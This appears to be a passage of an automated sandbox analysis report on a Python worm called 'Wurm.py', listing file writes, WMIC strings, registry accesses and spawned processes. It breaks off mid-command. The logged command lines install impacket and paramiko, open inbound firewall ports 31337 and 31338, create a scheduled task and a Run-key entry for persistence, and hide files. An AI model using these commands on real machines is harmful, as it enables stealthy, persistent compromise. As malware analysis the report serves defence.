"C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Cipher\_raw_ocb.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 12288 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Cipher\_raw_ofb.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 14848 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Hash\_BLAKE2b.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 14336 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Hash\_BLAKE2s.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 15360 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Hash\_MD2.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 13824 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Hash\_MD4.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 15872 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Hash\_MD5.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 17920 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Hash\_RIPEMD160.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 18432 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Hash\_SHA1.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 22528 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Hash\_SHA224.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 22528 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Hash\_SHA256.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 26624 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Hash\_SHA384.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 27136 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Hash\_SHA512.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 12800 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Hash\_ghash_clmul.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 12288 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Hash\_ghash_portable.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 16896 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Hash\_keccak.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 14336 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Hash\_poly1305.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 32256 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Math\_modexp.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 12288 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Protocol\_scrypt.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 20992 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\PublicKey\_curve25519.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 59392 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\PublicKey\_curve448.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 35840 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\PublicKey\_ec_ws.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 25088 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\PublicKey\_ed25519.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 10240 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\PublicKey\_ed448.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 10240 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Util\_cpuid_c.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 10240 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\site-packages\Cryptodome\Util\_strxor.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...75:T17ec,Found string "%WINDIR%\System32\Wbem\WMIC.exe" (Indicator: "wmic.exe"; in Source: "00000000-00003264-00000C47-795291797") Found string "%WINDIR%\System32\wbem\WMIC.exe" (Indicator: "wmic.exe"; in Source: "00000000-00003264-00000BC0-1551027205") Found string "WMIC.exe" (Indicator: "wmic.exe"; in Source: "00000000-00001520-00000BC0-1552088926") Found string "\\6TiieWSzo27Q33T\ROOT\CIMV2" (Indicator: "root\cimv2"; in Source: "00000000-00001520-00002713-1552575706") Found string "C:\WINDOWS\System32\Wbem\WMIC.exe" (Indicator: "wmic.exe"; in Source: "00000000-00001508.00000000.180396.C80B0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\wbem\WMIC.exe" (Indicator: "wmic.exe"; in Source: "00000000-00001508.00000000.180396.C80B0000.00000004.mdmp") Found string "root\cimv2root\cliIMPERSONATEPKTPRIVACYms_409ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AON" (Indicator: "root\cimv2"; in Source: "00000000-00001508.00000000.180396.C812F000.00000004.mdmp") Found string " bios get serialnumber6TiieWSzo27Q33Troot\cimv2root\cliIMPERSONATEPKTPRIVACYms_409ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AON" (Indicator: "root\cimv2"; in Source: "00000000-00001508.00000000.180396.C812F000.00000004.mdmp") Found string "root\cimv2root\cliIMPERSONATEPKTPRIVACYms_409ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AON" (Indicator: "root\cimv2"; in Source: "00000000-00001508.00000000.180396.C812F000.00000004.mdmp") Found string "ROOT\CIMV2:Win32_DiskDrive" (Indicator: "root\cimv2"; in Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found string "C:\WINDOWS\System32\Wbem\WMIC.exe" (Indicator: "wmic.exe"; in Source: "00000000-00001520.00000000.180024.6A490000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\wbem\WMIC.exe" (Indicator: "wmic.exe"; in Source: "00000000-00001520.00000000.180024.6A490000.00000004.mdmp") Found string "y\Machine\Software\Classes\AppID\WMIC.exe" (Indicator: "wmic.exe"; in Source: "00000000-00001520.00000000.180024.6A490000.00000004.mdmp") Found string "67261-1001_Classes\AppID\WMIC.exe" (Indicator: "wmic.exe"; in Source: "00000000-00001520.00000000.180024.6A490000.00000004.mdmp") Found string "ROOT\CIMV2" (Indicator: "root\cimv2"; in Source: "00000000-00001520.00000000.180024.6A4EE000.00000004.mdmp") Found string "wmic.exe" (Indicator: "wmic.exe"; in Source: "00000000-00004424.00000000.183885.629DB000.00000002.mdmp") Found string "C:\WINDOWS\System32\Wbem\WMIC.exe" (Indicator: "wmic.exe"; in Source: "00000000-00004424.00000000.183885.EFC10000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\wbem\WMIC.exe" (Indicator: "wmic.exe"; in Source: "00000000-00004424.00000000.183885.EFC10000.00000004.mdmp") Found string "C:\WINDOWS\System32\Wbem\WMIC.exe" (Indicator: "wmic.exe"; in Source: "00000000-00004700.00000000.184239.DC130000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\wbem\WMIC.exe" (Indicator: "wmic.exe"; in Source: "00000000-00004700.00000000.184239.DC130000.00000004.mdmp") Found string "MAND SEQUENCENUM="1" ISSUEDFROM="6TiieWSzo27Q33T" STARTTIME="11-13-2026T13:55:27" EVERYCOUNT="0"> bios get serialnumber6TiieWSzo27Q33Troot\cimv2root\cliIMPERSONATEPKTPRIVACYms_409ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AONNt2KSJk" (Indicator: "root\cimv2"; in Source: "00000000-00004700.00000000.184239.DC191000.00000004.mdmp") Found string " bios get serialnumber6TiieWSzo27Q33Troot\cimv2root\cliIMPERSONATEPKTPRIVACYms_409ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AONNt2KSJk" (Indicator: "root\cimv2"; in Source: "00000000-00004700.00000000.184239.DC191000.00000004.mdmp") Found string ":\windows\system32\wbem\wmic.exe" (Indicator: "wmic.exe"; in Source: "00000000-00004700.00000000.184239.DC191000.00000004.mdmp") Found string "\\%s\root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp")76:Tafd,"python.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "python.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "python.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "python.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "python.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "python.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "python.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "python.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "python.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "python.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "python.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "python.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "python.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "python.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "python.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "python.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "python.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "python.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "python.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "python.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "python.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "python.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "python.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "python.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS") "python.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")77:Tec4,"368c6e8d89d86908116600539bcfea26d2334f5c9c8adf425246f9ab.bodyzmhg9r6j.tmp" has type "Python script ASCII text executable"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\3\6\8\c\6\368c6e8d89d86908116600539bcfea26d2334f5c9c8adf425246f9ab.bodyzmhg9r6j.tmp]- [targetUID: 00000000-00007600] "werkzeug-3.1.9-py3-none-any.whl.metadata" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-unpack-7vhp9gqk\werkzeug-3.1.9-py3-none-any.whl.metadata]- [targetUID: 00000000-00007600] "METADATA" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-metadata-h757qty4\METADATA]- [targetUID: 00000000-00008020] "f7bfd6930f734dd3e11fa3ea15d0e76bfe62e81899114cb8257f67b4.bodytkvud8qv.tmp" has type "Python script ASCII text executable"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\f\7\b\f\d\f7bfd6930f734dd3e11fa3ea15d0e76bfe62e81899114cb8257f67b4.bodytkvud8qv.tmp]- [targetUID: 00000000-00007600] "d6a5d0856a7e93554e8be85cae6a61e3c3d38bd36521d22d8c0dc50e.body4ih8buiv.tmp" has type "Python script ASCII text executable"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\d\6\a\5\d\d6a5d0856a7e93554e8be85cae6a61e3c3d38bd36521d22d8c0dc50e.body4ih8buiv.tmp]- [targetUID: 00000000-00007600] "METADATA" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-metadata-rs82_m71\METADATA]- [targetUID: 00000000-00008020] "pyasn1-0.6.5-py3-none-any.whl.metadata" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-unpack-s0nss2xc\pyasn1-0.6.5-py3-none-any.whl.metadata]- [targetUID: 00000000-00007600] "tmpzmd_di8t" has type "Python script ASCII text executable"- Location: [%TEMP%\tmpzmd_di8t]- [targetUID: 00000000-00007600] "METADATA" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-metadata-v6ab7d78\METADATA]- [targetUID: 00000000-00008020] "7144c495e80dd4401a01db6a6dce69b7d606f22805cd81a86d138c05.bodyajufvm_j.tmp" has type "Python script ASCII text executable"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\7\1\4\4\c\7144c495e80dd4401a01db6a6dce69b7d606f22805cd81a86d138c05.bodyajufvm_j.tmp]- [targetUID: 00000000-00007600] "tmp8_ycjwxz" has type "Python script ASCII text executable"- Location: [%TEMP%\tmp8_ycjwxz]- [targetUID: 00000000-00007600] "tmp3fmyilxp" has type "Python script ASCII text executable"- Location: [%TEMP%\tmp3fmyilxp]- [targetUID: 00000000-00007600] "flask-3.1.3-py3-none-any.whl.metadata" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-unpack-7h753rl6\flask-3.1.3-py3-none-any.whl.metadata]- [targetUID: 00000000-00007600] "a2c7fb2f56be3b29a2d7321b28cab6b1cac04b0c15609403c9f0d984.bodymzavvxro.tmp" has type "Python script ASCII text executable"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\a\2\c\7\f\a2c7fb2f56be3b29a2d7321b28cab6b1cac04b0c15609403c9f0d984.bodymzavvxro.tmp]- [targetUID: 00000000-00007600] "METADATA" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-metadata-q362kr73\METADATA]- [targetUID: 00000000-00008020] "click-8.5.1-py3-none-any.whl.metadata" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-unpack-45kz9ct2\click-8.5.1-py3-none-any.whl.metadata]- [targetUID: 00000000-00007600] "tmp0wvbcqw3" has type "Python script ASCII text executable"- Location: [%TEMP%\tmp0wvbcqw3]- [targetUID: 00000000-00007600] "itsdangerous-2.2.0-py3-none-any.whl.metadata" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-unpack-vj0y9bp2\itsdangerous-2.2.0-py3-none-any.whl.metadata]- [targetUID: 00000000-00007600] "tmp28g66vt3" has type "Python script ASCII text executable"- Location: [%TEMP%\tmp28g66vt3]- [targetUID: 00000000-00007600] "METADATA" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-metadata-56r183id\METADATA]- [targetUID: 00000000-00008020]78:T48c,Process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="k9 py"" (UID: 00000000-00002060) Process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="k9 tcp"" (UID: 00000000-00008852) Process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="k9 udp"" (UID: 00000000-00002664) Process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="k9 py" dir=in action=allow program="%LOCALAPPDATA%\\Programs\\Python\\Python311\\python.exe" enable=yes profile=any" (UID: 00000000-00001896) Process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="k9 tcp" dir=in action=allow protocol=TCP localport=31337,31338 profile=any" (UID: 00000000-00004364) Process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="k9 udp" dir=in action=allow protocol=UDP localport=31337 profile=any" (UID: 00000000-00007560) Process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="k9 out" dir=out action=allow program="%LOCALAPPDATA%\\Programs\\Python\\Python311\\python.exe" enable=yes profile=any" (UID: 00000000-00005936)79:T1bba,Spawned process "python.exe" with commandline ""C:\\Wurm.py"" (UID: 00000000-00008020) Spawned process "cmd.exe" with commandline "/c "ver"" (UID: 00000000-00004724) Spawned process "python.exe" with commandline "-m pip install -q --disable-pip-version-check --no-input --no-warn-script-location cryptography paramiko impacket" (UID: 00000000-00007600) Spawned process "cmd.exe" with commandline "/c "ver"" (UID: 00000000-00001148) Spawned process "cmd.exe" with commandline "/c "wmic computersystem get model"" (UID: 00000000-00003264) Spawned process "WMIC.exe" with commandline "wmic computersystem get model" (UID: 00000000-00001520) Spawned process "cmd.exe" with commandline "/c "wmic bios get serialnumber"" (UID: 00000000-00006896) Spawned process "WMIC.exe" with commandline "wmic bios get serialnumber" (UID: 00000000-00001508) Spawned process "cmd.exe" with commandline "/c "netsh advfirewall firewall delete rule name="k9 py" >nul 2>&1"" (UID: 00000000-00002820) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="k9 py"" (UID: 00000000-00002060) Spawned process "cmd.exe" with commandline "/c "netsh advfirewall firewall delete rule name="k9 tcp" >nul 2>&1"" (UID: 00000000-00002284) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="k9 tcp"" (UID: 00000000-00008852) Spawned process "cmd.exe" with commandline "/c "netsh advfirewall firewall delete rule name="k9 udp" >nul 2>&1"" (UID: 00000000-00002736) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="k9 udp"" (UID: 00000000-00002664) Spawned process "cmd.exe" with commandline "/c "netsh advfirewall firewall add rule name="k9 py" dir=in action=allow program="%LOCALAPPDATA%\\Programs\\Python\\Python311\\python.exe" enable=yes profile=any"" (UID: 00000000-00004672) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="k9 py" dir=in action=allow program="%LOCALAPPDATA%\\Programs\\Python\\Python311\\python.exe" enable=yes profile=any" (UID: 00000000-00001896) Spawned process "cmd.exe" with commandline "/c "netsh advfirewall firewall add rule name="k9 tcp" dir=in action=allow protocol=TCP localport=31337 31338 profile=any"" (UID: 00000000-00003760) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="k9 tcp" dir=in action=allow protocol=TCP localport=31337,31338 profile=any" (UID: 00000000-00004364) Spawned process "cmd.exe" with commandline "/c "netsh advfirewall firewall add rule name="k9 udp" dir=in action=allow protocol=UDP localport=31337 profile=any"" (UID: 00000000-00004760) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="k9 udp" dir=in action=allow protocol=UDP localport=31337 profile=any" (UID: 00000000-00007560) Spawned process "cmd.exe" with commandline "/c "netsh advfirewall firewall add rule name="k9 out" dir=out action=allow program="%LOCALAPPDATA%\\Programs\\Python\\Python311\\python.exe" enable=yes profile=any"" (UID: 00000000-00007936) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="k9 out" dir=out action=allow program="%LOCALAPPDATA%\\Programs\\Python\\Python311\\python.exe" enable=yes profile=any" (UID: 00000000-00005936) Spawned process "cmd.exe" with commandline "/c "schtasks /create /tn WinSvcHost /tr "'%APPDATA%\\Microsoft\\Windows\\Caches\\svc.py'" /sc minute /mo 5 /f"" (UID: 00000000-00005560) Spawned process "schtasks.exe" with commandline "schtasks /create /tn WinSvcHost /tr "'%APPDATA%\\Microsoft\\Windows\\Caches\\svc.py'" /sc minute /mo 5 /f" (UID: 00000000-00008220) Spawned process "cmd.exe" with commandline "/c "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v WinSvcHost /t REG_SZ /d "'%APPDATA%\\Microsoft\\Windows\\Caches\\svc.py'" /f"" (UID: 00000000-00006928) Spawned process "reg.exe" with commandline "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v WinSvcHost /t REG_SZ /d "'%APPDATA%\\Microsoft\\Windows\\Caches\\svc.py'" /f" (UID: 00000000-00001164) Spawned process "cmd.exe" with commandline "/c "attrib +R +H +S "C:\\Wurm.py""" (UID: 00000000-00006992) Spawned process "attrib.exe" with commandline "attrib +R +H +S "C:\\Wurm.py"" (UID: 00000000-00006876) Spawned process "cmd.exe" with commandline "/c "attrib +R +H +S "%APPDATA%\\Microsoft\\Windows\\Caches\\svc.py""" (UID: 00000000-00006124) Spawned process "attrib.exe" with commandline "attrib +R +H +S "%APPDATA%\\Microsoft\\Windows\\Caches\\svc.py"" (UID: 00000000-00003244) Spawned process "cmd.exe" with commandline "/c "attrib +R +H +S "%TEMP%\\.k9_68be.py""" (UID: 00000000-00007624) Spawned process "attrib.exe" with commandline "attrib +R +H +S "%TEMP%\\.k9_68be.py"" (UID: 00000000-00007512) Spawned process "cmd.exe" with commandline "/c "attrib +R +H +S "%APPDATA%\\svc_back.py""" (UID: 00000000-00001316) Spawned process "attrib.exe" with commandline "attrib +R +H +S "%APPDATA%\\svc_back.py"" (UID: 00000000-00007304) Spawned process "cmd.exe" with commandline "/c "wmic computersystem get model"" (UID: 00000000-00008972) Spawned process "WMIC.exe" with commandline "wmic computersystem get model" (UID: 00000000-00004424) Spawned process "cmd.exe" with commandline "/c "wmic bios get serialnumber"" (UID: 00000000-00008028) Spawned process "WMIC.exe" with commandline "wmic bios get serialnumber" (UID: 00000000-00004700) Spawned process "python.exe" with commandline "C:\\Wurm.py --guard 8020" (UID: 00000000-00006988) Spawned process "cmd.exe" with commandline "/c "ver"" (UID: 00000000-00007240) Spawned process "cmd.exe" with commandline "/c "attrib -R -H -S "%TEMP%\\.k9_68be.py""" (UID: 00000000-00005456) Spawned process "attrib.exe" with commandline "attrib -R -H -S 